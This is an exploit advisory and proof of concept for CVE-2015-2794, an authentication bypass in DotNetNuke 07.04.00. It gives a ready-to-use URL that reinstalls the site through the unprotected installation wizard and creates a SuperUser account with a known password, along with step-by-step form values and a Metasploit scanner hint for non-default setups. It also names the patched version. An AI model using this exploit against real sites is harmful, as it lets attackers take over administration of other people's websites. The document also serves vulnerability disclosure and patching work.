DotNetNuke 07.04.00 - Administration Authentication Bypass

# Exploit Title: DotNetNuke 07.04.00 Administration Authentication Bypass
# Date: 06-05-2016
# Exploit Author: Marios Nicolaides
# Vendor Homepage: http://www.dnnsoftware.com/
# Software Link: https://dotnetnuke.codeplex.com/releases/view/611324
# Version: 07.04.00
# Tested on: Microsoft Windows 7 Professional (64-bit)
# Contact: [email protected]
# CVE: CVE-2015-2794
# Category: webapps
 
1. Description
   
DotNetNuke 07.04.00 does not prevent anonymous users from accessing the installation wizard, as a result a remote attacker 
can 'reinstall' DNN and get unauthorised access as a SuperUser.

Previous versions of DotNetNuke may also be affected.
 
   
2. Proof of Concept
 
The exploit can be demonstrated as follows:

If the DNN SQL database is in the default location and configuration:
	- Database Type: SQL Server Express File
	- Server Name: .\SQLExpress
	- Filename: Database.mdf (This is the default database file of DNN. You can find it at \App_Data\Database.mdf)

The following URL will create an account with the username: 'host', password: 'dnnhost':
	http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=&culture=en-US&executeinstall


If the DNN SQL database is not in the default configuration then the attacker must know its configuration or be able to brute-force guess it.

	A. Visit http://www.example.com/Install/InstallWizard.aspx?__VIEWSTATE=
	B. Fill in the form and submit it:
		Username: whatever
		Password: whateverpassword
		Email address: [email protected] (You will get an error msg due to client-side validation, just ignore it)
		Website Name: Whatever Site Name
		Database Setup Custom:
			- Database Type: SQL Server Express File
			- Server Name: .\SQLExpress 
				- This is the SQL Server instance name that we need to find or brute-force guess it in order to complete the installation. 
				- If MSSQL database is accessible you can use auxiliary/scanner/mssql/mssql_ping from MSF to get it.
			- Filename: Database.mdf
				- This is the default database file of DNN. You can find it at "\App_Data\Database.mdf".
			- Tick the box Run Database as a Database Owner
	C. You will probably get an error. Remove the "__VIEWSTATE=" parameter from the URL and press enter.
	D. When the installation completes click Visit Website.
	E. Login with your credentials.

3. Solution:

Update to version 07.04.01
https://dotnetnuke.codeplex.com/releases/view/615317

4. References:

http://www.dnnsoftware.com/platform/manage/security-center (See 2015-05 (Critical) unauthorized users may create new host accounts)
http://www.dnnsoftware.com/community-blog/cid/155198/workaround-for-potential-security-issue